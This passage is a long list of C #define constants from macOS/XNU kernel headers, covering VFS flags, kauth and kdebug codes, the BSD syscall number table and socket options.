VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED 0x00000010\n#define VFS_TBLTHREADSAFE 0x0001\n#define VFS_TBLFSNODELOCK 0x0002\n#define VFS_TBLNOTYPENUM 0x0008\n#define VFS_TBLLOCALVOL 0x0010\n#define VFS_TBL64BITREADY 0x0020\n#define VFS_TBLNATIVEXATTR 0x0040\n#define VFS_TBLDIRLINKS 0x0080\n#define VFS_TBLUNMOUNT_PREFLIGHT 0x0100\n#define VFS_TBLGENERICMNTARGS 0x0200\n#define VFS_TBLREADDIR_EXTENDED 0x0400\n#define VFS_TBLNOMACLABEL 0x1000\n#define VFS_TBLVNOP_PAGEINV2 0x2000\n#define VFS_TBLVNOP_PAGEOUTV2 0x4000\n#define VFS_TBLVNOP_NOUPDATEID_RENAME 0x8000\n#define VFS_TBLVNOP_SECLUDE_RENAME 0x10000\n#define VFS_TBLCANMOUNTROOT 0x20000\n#define VFSIOC_MOUNT_BYROLE_has_recovery 1\n#define VFS_RETURNED 0\n#define VFS_RETURNED_DONE 1\n#define VFS_CLAIMED 2\n#define VFS_CLAIMED_DONE 3\n#define VFS_USER_EVENT 0\n#define VFS_KERNEL_EVENT 1\n#define LK_NOWAIT 1\n#define NFSV4_MAX_FH_SIZE 128\n#define NFSV3_MAX_FH_SIZE 64\n#define NFSV2_MAX_FH_SIZE 32\n#define CRYPTEX_AUTH_STRUCT_VERSION 2\n#define EV_FD 1\n#define EV_RE 1\n#define EV_WR 2\n#define EV_EX 4\n#define EV_RM 8\n#define EV_MASK 0xf\n#define EV_RBYTES 0x100\n#define EV_WBYTES 0x200\n#define EV_RCLOSED 0x400\n#define EV_RCONN 0x800\n#define EV_WCLOSED 0x1000\n#define EV_WCONN 0x2000\n#define EV_OOB 0x4000\n#define EV_FIN 0x8000\n#define EV_RESET 0x10000\n#define EV_TIMEOUT 0x20000\n#define EV_DMASK 0xffffff00\n#define KDEBUG_LEVEL_NONE 0\n#define KDEBUG_LEVEL_IST 1\n#define KDEBUG_LEVEL_STANDARD 2\n#define KDEBUG_LEVEL_FULL 3\n#define KDBG_FLAG_FILTERED 0x01\n#define KDBG_FLAG_NOPROCFILT 0x02\n#define __DARWIN_LITTLE_ENDIAN 1234\n#define __DARWIN_BIG_ENDIAN 4321\n#define __DARWIN_PDP_ENDIAN 3412\n#define USE_CLANG_TYPES 0\n#define __DARWIN_NULL 0\n#define UBC_PUSHDIRTY 0x01\n#define UBC_PUSHALL 0x02\n#define UBC_INVALIDATE 0x04\n#define UBC_SYNC 0x08\n#define KAUTH_NTSID_MAX_AUTHORITIES 16\n#define KAUTH_EXTLOOKUP_SUCCESS 0\n#define KAUTH_EXTLOOKUP_BADRQ 1\n#define KAUTH_EXTLOOKUP_FAILURE 2\n#define KAUTH_EXTLOOKUP_FATAL 3\n#define KAUTH_EXTLOOKUP_INPROG 100\n#define KAUTH_ACE_KINDMASK 0xf\n#define KAUTH_ACE_PERMIT 1\n#define KAUTH_ACE_DENY 2\n#define KAUTH_ACE_AUDIT 3\n#define KAUTH_ACE_ALARM 4\n#define KAUTH_ACL_MAX_ENTRIES 128\n#define KAUTH_FILESEC_MAGIC 0x012cc16d\n#define KAUTH_ENDIAN_HOST 0x00000001\n#define KAUTH_ENDIAN_DISK 0x00000002\n#define KAUTH_GENERIC_ISSUSER 1\n#define KAUTH_PROCESS_CANSIGNAL 1\n#define KAUTH_PROCESS_CANTRACE 2\n#define KAUTH_FILEOP_OPEN 1\n#define KAUTH_FILEOP_CLOSE 2\n#define KAUTH_FILEOP_RENAME 3\n#define KAUTH_FILEOP_EXCHANGE 4\n#define KAUTH_FILEOP_LINK 5\n#define KAUTH_FILEOP_EXEC 6\n#define KAUTH_FILEOP_DELETE 7\n#define KAUTH_FILEOP_WILL_RENAME 8\n#define DBG_PPT 36\n#define DBG_PERFCTRL 39\n#define DBG_CLPC 50\n#define DBG_MUSE 52\n#define DBG_ANS 128\n#define DBG_SIO 129\n#define DBG_SEP 130\n#define DBG_ISP 131\n#define DBG_OSCAR 132\n#define DBG_EMBEDDEDGFX 133\n#define DBG_PMP 134\n#define DBG_RTKIT 135\n#define DBG_DCP 136\n#define DBG_KMP 137\n#define DBG_SKYWALK_ALWAYSON 0x10\n#define DBG_SKYWALK_FLOWSWITCH 0x11\n#define DBG_SKYWALK_NETIF 0x12\n#define DBG_SKYWALK_CHANNEL 0x13\n#define DBG_SKYWALK_PACKET 0x14\n#define DBG_AQM_ALWAYSON 0x30\n#define DBG_AQM_STATS 0x31\n#define PPT_TEST 0x01\n#define PPT_JETSAM_HIWAT 0x02\n#define PPT_JETSAM_TOPPROC 0x03\n#define DBG_SEC_SSMA 0x02\n#define KDBG_CPU_SHIFT 56\n#define KDBG_INIT 0x01\n#define KDBG_FREERUN 0x04\n#define KDBG_CPUMAP_IS_IOP 0x1\n#define KDEBUG_COMMPAGE_ENABLE_TRACE 0x1\n#define KDEBUG_COMMPAGE_ENABLE_TYPEFILTER 0x2\n#define KDEBUG_COMMPAGE_CONTINUOUS 0x4\n#define KDBG_LOCKINIT 0x0080\n#define KDBG_CLASSTYPE 0x10000\n#define KDBG_SUBCLSTYPE 0x20000\n#define KDBG_RANGETYPE 0x40000\n#define KDBG_TYPENONE 0x80000\n#define KDBG_CKTYPES 0xF0000\n#define RAW_VERSION0 0x55aa0000\n#define RAW_VERSION1 0x55aa0101\n#define RAW_VERSION2 0x55aa0200\n#define kEnTrCompKernel 2\n#define kEnTrActKernSocket 1\n#define kEnTrActKernSockRead 2\n#define kEnTrActKernSockWrite 3\n#define kEnTrActKernPoll 10\n#define kEnTrActKernSelect 11\n#define kEnTrActKernKQWait 12\n#define kEnTrEvUnblocked 256\n#define kEnTrFlagNonBlocking 0x1\n#define kEnTrFlagNoWork 0x2\n#define ENTR_SHOULDTRACE 0\n#define SYS_syscall 0 + 0x2000000\n#define SYS_exit 1 + 0x2000000\n#define SYS_fork 2 + 0x2000000\n#define SYS_read 3 + 0x2000000\n#define SYS_write 4 + 0x2000000\n#define SYS_open 5 + 0x2000000\n#define SYS_close 6 + 0x2000000\n#define SYS_wait4 7 + 0x2000000\n#define SYS_link 9 + 0x2000000\n#define SYS_unlink 10 + 0x2000000\n#define SYS_chdir 12 + 0x2000000\n#define SYS_fchdir 13 + 0x2000000\n#define SYS_mknod 14 + 0x2000000\n#define SYS_chmod 15 + 0x2000000\n#define SYS_chown 16 + 0x2000000\n#define SYS_getfsstat 18 + 0x2000000\n#define SYS_getpid 20 + 0x2000000\n#define SYS_setuid 23 + 0x2000000\n#define SYS_getuid 24 + 0x2000000\n#define SYS_geteuid 25 + 0x2000000\n#define SYS_ptrace 26 + 0x2000000\n#define SYS_recvmsg 27 + 0x2000000\n#define SYS_sendmsg 28 + 0x2000000\n#define SYS_recvfrom 29 + 0x2000000\n#define SYS_accept 30 + 0x2000000\n#define SYS_getpeername 31 + 0x2000000\n#define SYS_getsockname 32 + 0x2000000\n#define SYS_access 33 + 0x2000000\n#define SYS_chflags 34 + 0x2000000\n#define SYS_fchflags 35 + 0x2000000\n#define SYS_sync 36 + 0x2000000\n#define SYS_kill 37 + 0x2000000\n#define SYS_crossarch_trap 38 + 0x2000000\n#define SYS_getppid 39 + 0x2000000\n#define SYS_dup 41 + 0x2000000\n#define SYS_pipe 42 + 0x2000000\n#define SYS_getegid 43 + 0x2000000\n#define SYS_sigaction 46 + 0x2000000\n#define SYS_getgid 47 + 0x2000000\n#define SYS_sigprocmask 48 + 0x2000000\n#define SYS_getlogin 49 + 0x2000000\n#define SYS_setlogin 50 + 0x2000000\n#define SYS_acct 51 + 0x2000000\n#define SYS_sigpending 52 + 0x2000000\n#define SYS_sigaltstack 53 + 0x2000000\n#define SYS_ioctl 54 + 0x2000000\n#define SYS_reboot 55 + 0x2000000\n#define SYS_revoke 56 + 0x2000000\n#define SYS_symlink 57 + 0x2000000\n#define SYS_readlink 58 + 0x2000000\n#define SYS_execve 59 + 0x2000000\n#define SYS_umask 60 + 0x2000000\n#define SYS_chroot 61 + 0x2000000\n#define SYS_msync 65 + 0x2000000\n#define SYS_vfork 66 + 0x2000000\n#define SYS_munmap 73 + 0x2000000\n#define SYS_mprotect 74 + 0x2000000\n#define SYS_madvise 75 + 0x2000000\n#define SYS_mincore 78 + 0x2000000\n#define SYS_getgroups 79 + 0x2000000\n#define SYS_setgroups 80 + 0x2000000\n#define SYS_getpgrp 81 + 0x2000000\n#define SYS_setpgid 82 + 0x2000000\n#define SYS_setitimer 83 + 0x2000000\n#define SYS_swapon 85 + 0x2000000\n#define SYS_getitimer 86 + 0x2000000\n#define SYS_getdtablesize 89 + 0x2000000\n#define SYS_dup2 90 + 0x2000000\n#define SYS_fcntl 92 + 0x2000000\n#define SYS_select 93 + 0x2000000\n#define SYS_fsync 95 + 0x2000000\n#define SYS_setpriority 96 + 0x2000000\n#define SYS_socket 97 + 0x2000000\n#define SYS_connect 98 + 0x2000000\n#define SYS_getpriority 100 + 0x2000000\n#define SYS_bind 104 + 0x2000000\n#define SYS_setsockopt 105 + 0x2000000\n#define SYS_listen 106 + 0x2000000\n#define SYS_sigsuspend 111 + 0x2000000\n#define SYS_gettimeofday 116 + 0x2000000\n#define SYS_getrusage 117 + 0x2000000\n#define SYS_getsockopt 118 + 0x2000000\n#define SYS_readv 120 + 0x2000000\n#define SYS_writev 121 + 0x2000000\n#define SYS_settimeofday 122 + 0x2000000\n#define SYS_fchown 123 + 0x2000000\n#define SYS_fchmod 124 + 0x2000000\n#define SYS_setreuid 126 + 0x2000000\n#define SYS_setregid 127 + 0x2000000\n#define SYS_rename 128 + 0x2000000\n#define SYS_flock 131 + 0x2000000\n#define SYS_mkfifo 132 + 0x2000000\n#define SYS_sendto 133 + 0x2000000\n#define SYS_shutdown 134 + 0x2000000\n#define SYS_socketpair 135 + 0x2000000\n#define SYS_mkdir 136 + 0x2000000\n#define SYS_rmdir 137 + 0x2000000\n#define SYS_utimes 138 + 0x2000000\n#define SYS_futimes 139 + 0x2000000\n#define SYS_adjtime 140 + 0x2000000\n#define SYS_gethostuuid 142 + 0x2000000\n#define SYS_setsid 147 + 0x2000000\n#define SYS_getpgid 151 + 0x2000000\n#define SYS_setprivexec 152 + 0x2000000\n#define SYS_pread 153 + 0x2000000\n#define SYS_pwrite 154 + 0x2000000\n#define SYS_nfssvc 155 + 0x2000000\n#define SYS_statfs 157 + 0x2000000\n#define SYS_fstatfs 158 + 0x2000000\n#define SYS_unmount 159 + 0x2000000\n#define SYS_getfh 161 + 0x2000000\n#define SYS_quotactl 165 + 0x2000000\n#define SYS_mount 167 + 0x2000000\n#define SYS_csops 169 + 0x2000000\n#define SYS_csops_audittoken 170 + 0x2000000\n#define SYS_waitid 173 + 0x2000000\n#define SYS_kdebug_typefilter 177 + 0x2000000\n#define SYS_kdebug_trace_string 178 + 0x2000000\n#define SYS_kdebug_trace64 179 + 0x2000000\n#define SYS_kdebug_trace 180 + 0x2000000\n#define SYS_setgid 181 + 0x2000000\n#define SYS_setegid 182 + 0x2000000\n#define SYS_seteuid 183 + 0x2000000\n#define SYS_sigreturn 184 + 0x2000000\n#define SYS_panic_with_data 185 + 0x2000000\n#define SYS_thread_selfcounts 186 + 0x2000000\n#define SYS_fdatasync 187 + 0x2000000\n#define SYS_stat 188 + 0x2000000\n#define SYS_fstat 189 + 0x2000000\n#define SYS_lstat 190 + 0x2000000\n#define SYS_pathconf 191 + 0x2000000\n#define SYS_fpathconf 192 + 0x2000000\n#define SYS_getrlimit 194 + 0x2000000\n#define SYS_setrlimit 195 + 0x2000000\n#define SYS_getdirentries 196 + 0x2000000\n#define SYS_mmap 197 + 0x2000000\n#define SYS_lseek 199 + 0x2000000\n#define SYS_truncate 200 + 0x2000000\n#define SYS_ftruncate 201 + 0x2000000\n#define SYS_sysctl 202 + 0x2000000\n#define SYS_mlock 203 + 0x2000000\n#define SYS_munlock 204 + 0x2000000\n#define SYS_undelete 205 + 0x2000000\n#define SYS_open_dprotected_np 216 + 0x2000000\n#define SYS_fsgetpath_ext 217 + 0x2000000\n#define SYS_openat_dprotected_np 218 + 0x2000000\n#define SYS_getattrlist 220 + 0x2000000\n#define SYS_setattrlist 221 + 0x2000000\n#define SYS_getdirentriesattr 222 + 0x2000000\n#define SYS_exchangedata 223 + 0x2000000\n#define SYS_searchfs 225 + 0x2000000\n#define SYS_delete 226 + 0x2000000\n#define SYS_copyfile 227 + 0x2000000\n#define SYS_fgetattrlist 228 + 0x2000000\n#define SYS_fsetattrlist 229 + 0x2000000\n#define SYS_poll 230 + 0x2000000\n#define SYS_getxattr 234 + 0x2000000\n#define SYS_fgetxattr 235 + 0x2000000\n#define SYS_setxattr 236 + 0x2000000\n#define SYS_fsetxattr 237 + 0x2000000\n#define SYS_removexattr 238 + 0x2000000\n#define SYS_fremovexattr 239 + 0x2000000\n#define SYS_listxattr 240 + 0x2000000\n#define SYS_flistxattr 241 + 0x2000000\n#define SYS_fsctl 242 + 0x2000000\n#define SYS_initgroups 243 + 0x2000000\n#define SYS_posix_spawn 244 + 0x2000000\n#define SYS_ffsctl 245 + 0x2000000\n#define SYS_fhopen 248 + 0x2000000\n#define SYS_minherit 250 + 0x2000000\n#define SYS_semsys 251 + 0x2000000\n#define SYS_msgsys 252 + 0x2000000\n#define SYS_shmsys 253 + 0x2000000\n#define SYS_semctl 254 + 0x2000000\n#define SYS_semget 255 + 0x2000000\n#define SYS_semop 256 + 0x2000000\n#define SYS_msgctl 258 + 0x2000000\n#define SYS_msgget 259 + 0x2000000\n#define SYS_msgsnd 260 + 0x2000000\n#define SYS_msgrcv 261 + 0x2000000\n#define SYS_shmat 262 + 0x2000000\n#define SYS_shmctl 263 + 0x2000000\n#define SYS_shmdt 264 + 0x2000000\n#define SYS_shmget 265 + 0x2000000\n#define SYS_shm_open 266 + 0x2000000\n#define SYS_shm_unlink 267 + 0x2000000\n#define SYS_sem_open 268 + 0x2000000\n#define SYS_sem_close 269 + 0x2000000\n#define SYS_sem_unlink 270 + 0x2000000\n#define SYS_sem_wait 271 + 0x2000000\n#define SYS_sem_trywait 272 + 0x2000000\n#define SYS_sem_post 273 + 0x2000000\n#define SYS_sysctlbyname 274 + 0x2000000\n#define SYS_open_extended 277 + 0x2000000\n#define SYS_umask_extended 278 + 0x2000000\n#define SYS_stat_extended 279 + 0x2000000\n#define SYS_lstat_extended 280 + 0x2000000\n#define SYS_fstat_extended 281 + 0x2000000\n#define SYS_chmod_extended 282 + 0x2000000\n#define SYS_fchmod_extended 283 + 0x2000000\n#define SYS_access_extended 284 + 0x2000000\n#define SYS_settid 285 + 0x2000000\n#define SYS_gettid 286 + 0x2000000\n#define SYS_setsgroups 287 + 0x2000000\n#define SYS_getsgroups 288 + 0x2000000\n#define SYS_setwgroups 289 + 0x2000000\n#define SYS_getwgroups 290 + 0x2000000\n#define SYS_mkfifo_extended 291 + 0x2000000\n#define SYS_mkdir_extended 292 + 0x2000000\n#define SYS_identitysvc 293 + 0x2000000\n#define SYS_shared_region_check_np 294 + 0x2000000\n#define SYS_vm_pressure_monitor 296 + 0x2000000\n#define SYS_psynch_rw_longrdlock 297 + 0x2000000\n#define SYS_psynch_rw_yieldwrlock 298 + 0x2000000\n#define SYS_psynch_rw_downgrade 299 + 0x2000000\n#define SYS_psynch_rw_upgrade 300 + 0x2000000\n#define SYS_psynch_mutexwait 301 + 0x2000000\n#define SYS_psynch_mutexdrop 302 + 0x2000000\n#define SYS_psynch_cvbroad 303 + 0x2000000\n#define SYS_psynch_cvsignal 304 + 0x2000000\n#define SYS_psynch_cvwait 305 + 0x2000000\n#define SYS_psynch_rw_rdlock 306 + 0x2000000\n#define SYS_psynch_rw_wrlock 307 + 0x2000000\n#define SYS_psynch_rw_unlock 308 + 0x2000000\n#define SYS_psynch_rw_unlock2 309 + 0x2000000\n#define SYS_getsid 310 + 0x2000000\n#define SYS_settid_with_pid 311 + 0x2000000\n#define SYS_psynch_cvclrprepost 312 + 0x2000000\n#define SYS_aio_fsync 313 + 0x2000000\n#define SYS_aio_return 314 + 0x2000000\n#define SYS_aio_suspend 315 + 0x2000000\n#define SYS_aio_cancel 316 + 0x2000000\n#define SYS_aio_error 317 + 0x2000000\n#define SYS_aio_read 318 + 0x2000000\n#define SYS_aio_write 319 + 0x2000000\n#define SYS_lio_listio 320 + 0x2000000\n#define SYS_iopolicysys 322 + 0x2000000\n#define SYS_process_policy 323 + 0x2000000\n#define SYS_mlockall 324 + 0x2000000\n#define SYS_munlockall 325 + 0x2000000\n#define SYS_issetugid 327 + 0x2000000\n#define SYS___pthread_kill 328 + 0x2000000\n#define SYS___pthread_sigmask 329 + 0x2000000\n#define SYS___sigwait 330 + 0x2000000\n#define SYS___disable_threadsignal 331 + 0x2000000\n#define SYS___pthread_markcancel 332 + 0x2000000\n#define SYS___pthread_canceled 333 + 0x2000000\n#define SYS___semwait_signal 334 + 0x2000000\n#define SYS_proc_info 336 + 0x2000000\n#define SYS_sendfile 337 + 0x2000000\n#define SYS_stat64 338 + 0x2000000\n#define SYS_fstat64 339 + 0x2000000\n#define SYS_lstat64 340 + 0x2000000\n#define SYS_stat64_extended 341 + 0x2000000\n#define SYS_lstat64_extended 342 + 0x2000000\n#define SYS_fstat64_extended 343 + 0x2000000\n#define SYS_getdirentries64 344 + 0x2000000\n#define SYS_statfs64 345 + 0x2000000\n#define SYS_fstatfs64 346 + 0x2000000\n#define SYS_getfsstat64 347 + 0x2000000\n#define SYS___pthread_chdir 348 + 0x2000000\n#define SYS___pthread_fchdir 349 + 0x2000000\n#define SYS_audit 350 + 0x2000000\n#define SYS_auditon 351 + 0x2000000\n#define SYS_getauid 353 + 0x2000000\n#define SYS_setauid 354 + 0x2000000\n#define SYS_getaudit_addr 357 + 0x2000000\n#define SYS_setaudit_addr 358 + 0x2000000\n#define SYS_auditctl 359 + 0x2000000\n#define SYS_bsdthread_create 360 + 0x2000000\n#define SYS_bsdthread_terminate 361 + 0x2000000\n#define SYS_kqueue 362 + 0x2000000\n#define SYS_kevent 363 + 0x2000000\n#define SYS_lchown 364 + 0x2000000\n#define SYS_bsdthread_register 366 + 0x2000000\n#define SYS_workq_open 367 + 0x2000000\n#define SYS_workq_kernreturn 368 + 0x2000000\n#define SYS_kevent64 369 + 0x2000000\n#define SYS_thread_selfid 372 + 0x2000000\n#define SYS_ledger 373 + 0x2000000\n#define SYS_kevent_qos 374 + 0x2000000\n#define SYS_kevent_id 375 + 0x2000000\n#define SYS___mac_execve 380 + 0x2000000\n#define SYS___mac_syscall 381 + 0x2000000\n#define SYS___mac_get_file 382 + 0x2000000\n#define SYS___mac_set_file 383 + 0x2000000\n#define SYS___mac_get_link 384 + 0x2000000\n#define SYS___mac_set_link 385 + 0x2000000\n#define SYS___mac_get_proc 386 + 0x2000000\n#define SYS___mac_set_proc 387 + 0x2000000\n#define SYS___mac_get_fd 388 + 0x2000000\n#define SYS___mac_set_fd 389 + 0x2000000\n#define SYS___mac_get_pid 390 + 0x2000000\n#define SYS_pselect 394 + 0x2000000\n#define SYS_pselect_nocancel 395 + 0x2000000\n#define SYS_read_nocancel 396 + 0x2000000\n#define SYS_write_nocancel 397 + 0x2000000\n#define SYS_open_nocancel 398 + 0x2000000\n#define SYS_close_nocancel 399 + 0x2000000\n#define SYS_wait4_nocancel 400 + 0x2000000\n#define SYS_recvmsg_nocancel 401 + 0x2000000\n#define SYS_sendmsg_nocancel 402 + 0x2000000\n#define SYS_recvfrom_nocancel 403 + 0x2000000\n#define SYS_accept_nocancel 404 + 0x2000000\n#define SYS_msync_nocancel 405 + 0x2000000\n#define SYS_fcntl_nocancel 406 + 0x2000000\n#define SYS_select_nocancel 407 + 0x2000000\n#define SYS_fsync_nocancel 408 + 0x2000000\n#define SYS_connect_nocancel 409 + 0x2000000\n#define SYS_sigsuspend_nocancel 410 + 0x2000000\n#define SYS_readv_nocancel 411 + 0x2000000\n#define SYS_writev_nocancel 412 + 0x2000000\n#define SYS_sendto_nocancel 413 + 0x2000000\n#define SYS_pread_nocancel 414 + 0x2000000\n#define SYS_pwrite_nocancel 415 + 0x2000000\n#define SYS_waitid_nocancel 416 + 0x2000000\n#define SYS_poll_nocancel 417 + 0x2000000\n#define SYS_msgsnd_nocancel 418 + 0x2000000\n#define SYS_msgrcv_nocancel 419 + 0x2000000\n#define SYS_sem_wait_nocancel 420 + 0x2000000\n#define SYS_aio_suspend_nocancel 421 + 0x2000000\n#define SYS___sigwait_nocancel 422 + 0x2000000\n#define SYS___semwait_signal_nocancel 423 + 0x2000000\n#define SYS___mac_mount 424 + 0x2000000\n#define SYS___mac_get_mount 425 + 0x2000000\n#define SYS___mac_getfsstat 426 + 0x2000000\n#define SYS_fsgetpath 427 + 0x2000000\n#define SYS_audit_session_self 428 + 0x2000000\n#define SYS_audit_session_join 429 + 0x2000000\n#define SYS_fileport_makeport 430 + 0x2000000\n#define SYS_fileport_makefd 431 + 0x2000000\n#define SYS_audit_session_port 432 + 0x2000000\n#define SYS_pid_suspend 433 + 0x2000000\n#define SYS_pid_resume 434 + 0x2000000\n#define SYS_pid_hibernate 435 + 0x2000000\n#define SYS_pid_shutdown_sockets 436 + 0x2000000\n#define SYS_kas_info 439 + 0x2000000\n#define SYS_memorystatus_control 440 + 0x2000000\n#define SYS_guarded_open_np 441 + 0x2000000\n#define SYS_guarded_close_np 442 + 0x2000000\n#define SYS_guarded_kqueue_np 443 + 0x2000000\n#define SYS_change_fdguard_np 444 + 0x2000000\n#define SYS_usrctl 445 + 0x2000000\n#define SYS_proc_rlimit_control 446 + 0x2000000\n#define SYS_connectx 447 + 0x2000000\n#define SYS_disconnectx 448 + 0x2000000\n#define SYS_peeloff 449 + 0x2000000\n#define SYS_socket_delegate 450 + 0x2000000\n#define SYS_telemetry 451 + 0x2000000\n#define SYS_proc_uuid_policy 452 + 0x2000000\n#define SYS_memorystatus_get_level 453 + 0x2000000\n#define SYS_system_override 454 + 0x2000000\n#define SYS_vfs_purge 455 + 0x2000000\n#define SYS_sfi_ctl 456 + 0x2000000\n#define SYS_sfi_pidctl 457 + 0x2000000\n#define SYS_coalition 458 + 0x2000000\n#define SYS_coalition_info 459 + 0x2000000\n#define SYS_necp_match_policy 460 + 0x2000000\n#define SYS_getattrlistbulk 461 + 0x2000000\n#define SYS_clonefileat 462 + 0x2000000\n#define SYS_openat 463 + 0x2000000\n#define SYS_openat_nocancel 464 + 0x2000000\n#define SYS_renameat 465 + 0x2000000\n#define SYS_faccessat 466 + 0x2000000\n#define SYS_fchmodat 467 + 0x2000000\n#define SYS_fchownat 468 + 0x2000000\n#define SYS_fstatat 469 + 0x2000000\n#define SYS_fstatat64 470 + 0x2000000\n#define SYS_linkat 471 + 0x2000000\n#define SYS_unlinkat 472 + 0x2000000\n#define SYS_readlinkat 473 + 0x2000000\n#define SYS_symlinkat 474 + 0x2000000\n#define SYS_mkdirat 475 + 0x2000000\n#define SYS_getattrlistat 476 + 0x2000000\n#define SYS_proc_trace_log 477 + 0x2000000\n#define SYS_bsdthread_ctl 478 + 0x2000000\n#define SYS_openbyid_np 479 + 0x2000000\n#define SYS_recvmsg_x 480 + 0x2000000\n#define SYS_sendmsg_x 481 + 0x2000000\n#define SYS_thread_selfusage 482 + 0x2000000\n#define SYS_csrctl 483 + 0x2000000\n#define SYS_guarded_open_dprotected_np 484 + 0x2000000\n#define SYS_guarded_write_np 485 + 0x2000000\n#define SYS_guarded_pwrite_np 486 + 0x2000000\n#define SYS_guarded_writev_np 487 + 0x2000000\n#define SYS_renameatx_np 488 + 0x2000000\n#define SYS_mremap_encrypted 489 + 0x2000000\n#define SYS_netagent_trigger 490 + 0x2000000\n#define SYS_stack_snapshot_with_config 491 + 0x2000000\n#define SYS_microstackshot 492 + 0x2000000\n#define SYS_grab_pgo_data 493 + 0x2000000\n#define SYS_persona 494 + 0x2000000\n#define SYS_mach_eventlink_signal 496 + 0x2000000\n#define SYS_mach_eventlink_wait_until 497 + 0x2000000\n#define SYS_mach_eventlink_signal_wait_until 498 + 0x2000000\n#define SYS_work_interval_ctl 499 + 0x2000000\n#define SYS_getentropy 500 + 0x2000000\n#define SYS_necp_open 501 + 0x2000000\n#define SYS_necp_client_action 502 + 0x2000000\n#define SYS___nexus_open 503 + 0x2000000\n#define SYS___nexus_register 504 + 0x2000000\n#define SYS___nexus_deregister 505 + 0x2000000\n#define SYS___nexus_create 506 + 0x2000000\n#define SYS___nexus_destroy 507 + 0x2000000\n#define SYS___nexus_get_opt 508 + 0x2000000\n#define SYS___nexus_set_opt 509 + 0x2000000\n#define SYS___channel_open 510 + 0x2000000\n#define SYS___channel_get_info 511 + 0x2000000\n#define SYS___channel_sync 512 + 0x2000000\n#define SYS___channel_get_opt 513 + 0x2000000\n#define SYS___channel_set_opt 514 + 0x2000000\n#define SYS_ulock_wait 515 + 0x2000000\n#define SYS_ulock_wake 516 + 0x2000000\n#define SYS_fclonefileat 517 + 0x2000000\n#define SYS_fs_snapshot 518 + 0x2000000\n#define SYS_register_uexc_handler 519 + 0x2000000\n#define SYS_terminate_with_payload 520 + 0x2000000\n#define SYS_abort_with_payload 521 + 0x2000000\n#define SYS_necp_session_open 522 + 0x2000000\n#define SYS_necp_session_action 523 + 0x2000000\n#define SYS_setattrlistat 524 + 0x2000000\n#define SYS_net_qos_guideline 525 + 0x2000000\n#define SYS_fmount 526 + 0x2000000\n#define SYS_ntp_adjtime 527 + 0x2000000\n#define SYS_ntp_gettime 528 + 0x2000000\n#define SYS_os_fault_with_payload 529 + 0x2000000\n#define SYS_kqueue_workloop_ctl 530 + 0x2000000\n#define SYS___mach_bridge_remote_time 531 + 0x2000000\n#define SYS_coalition_ledger 532 + 0x2000000\n#define SYS_log_data 533 + 0x2000000\n#define SYS_memorystatus_available_memory 534 + 0x2000000\n#define SYS_objc_bp_assist_cfg_np 535 + 0x2000000\n#define SYS_shared_region_map_and_slide_2_np 536 + 0x2000000\n#define SYS_pivot_root 537 + 0x2000000\n#define SYS_task_inspect_for_pid 538 + 0x2000000\n#define SYS_task_read_for_pid 539 + 0x2000000\n#define SYS_preadv 540 + 0x2000000\n#define SYS_pwritev 541 + 0x2000000\n#define SYS_preadv_nocancel 542 + 0x2000000\n#define SYS_pwritev_nocancel 543 + 0x2000000\n#define SYS_ulock_wait2 544 + 0x2000000\n#define SYS_proc_info_extended_id 545 + 0x2000000\n#define SYS_tracker_action 546 + 0x2000000\n#define SYS_debug_syscall_reject 547 + 0x2000000\n#define SYS_debug_syscall_reject_config 548 + 0x2000000\n#define SYS_graftdmg 549 + 0x2000000\n#define SYS_map_with_linking_np 550 + 0x2000000\n#define SYS_freadlink 551 + 0x2000000\n#define SYS_record_system_event 552 + 0x2000000\n#define SYS_mkfifoat 553 + 0x2000000\n#define SYS_mknodat 554 + 0x2000000\n#define SYS_ungraftdmg 555 + 0x2000000\n#define SYS_coalition_policy_set 556 + 0x2000000\n#define SYS_coalition_policy_get 557 + 0x2000000\n#define SYS_MAXSYSCALL 558 + 0x2000000\n#define SYS_invalid 63 + 0x2000000\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SO_DEBUG 0x0001\n#define SO_ACCEPTCONN 0x0002\n#define SO_REUSEADDR 0x0004\n#define SO_KEEPALIVE 0x0008\n#define SO_DONTROUTE 0x0010\n#define SO_BROADCAST 0x0020\n#define SO_USELOOPBACK 0x0040\n#define SO_LINGER 0x1080\n#define SO_LINGER_SEC 0x1080\n#define SO_OOBINLINE 0x0100\n#define SO_REUSEPORT 0x0200\n#define SO_TIMESTAMP 0x0400\n#define SO_TIMESTAMP_MONOTONIC 0x0800\n#define SO_ACCEPTFILTER 0x1000\n#define SO_DONTTRUNC 0x2000\n#define SO_WANTMORE 0x4000\n#define SO_WANTOOBFLAG 0x8000\n#define SO_SNDBUF 0x1001\n#define SO_RCVBUF 0x1002\n#define SO_SNDLOWAT 0x1003\n#define SO_RCVLOWAT 0x1004\n#define SO_SNDTIMEO 0x1005\n#define SO_RCVTIMEO 0x1006\n#define SO_ERROR 0x1007\n#define SO_TYPE 0x1008\n#define SO_LABEL 0x1010\n#define SO_PEERLABEL 0x1011\n#define SO_NREAD 0x1020\n#define SO_NKE 0x1021\n#define SO_NOSIGPIPE 0x1022\n#define SO_NOADDRERR 0x1023\n#define SO_NWRITE 0x1024\n#define SO_REUSESHAREUID 0x1025\n#define SO_NOTIFYCONFLICT 0x1026\n#define SO_UPCALLCLOSEWAIT 0x1027\n#define SO_RANDOMPORT 0x1082\n#define SO_NP_EXTENSIONS 0x1083\n#define SO_NUMRCVPKT 0x1112\n#define SO_NET_SERVICE_TYPE 0x1116\n#define SO_NETSVC_MARKING_LEVEL 0x1119\n#define SO_RESOLVER_SIGNATURE 0x1131\n#define SO_BINDTODEVICE 0x1134\n#define NET_SERVICE_TYPE_BE 0\n#define NET_SERVICE_TYPE_BK 1\n#define NET_SERVICE_TYPE_SIG 2\n#define NET_SERVICE_TYPE_VI 3\n#define NET_SERVICE_TYPE_VO 4\n#define NET_SERVICE_TYPE_RV 5\n#define NET_SERVICE_TYPE_AV 6\n#define NET_SERVICE_TYPE_OAM 7\n#define NET_SERVICE_TYPE_RD 8\n#define NETSVC_MRKNG_UNKNOWN 0\n#define NETSVC_MRKNG_LVL_L2 1\n#define NETSVC_MRKNG_LVL_L3L2_ALL 2\n#define NETSVC_MRKNG_LVL_L3L2_BK 3\n#define SAE_ASSOCID_ANY 0\n#define SAE_CONNID_ANY 0\n#define CONNECT_RESUME_ON_READ_WRITE 0x1\n#define CONNECT_DATA_IDEMPOTENT 0x2\n#define CONNECT_DATA_AUTHENTICATED 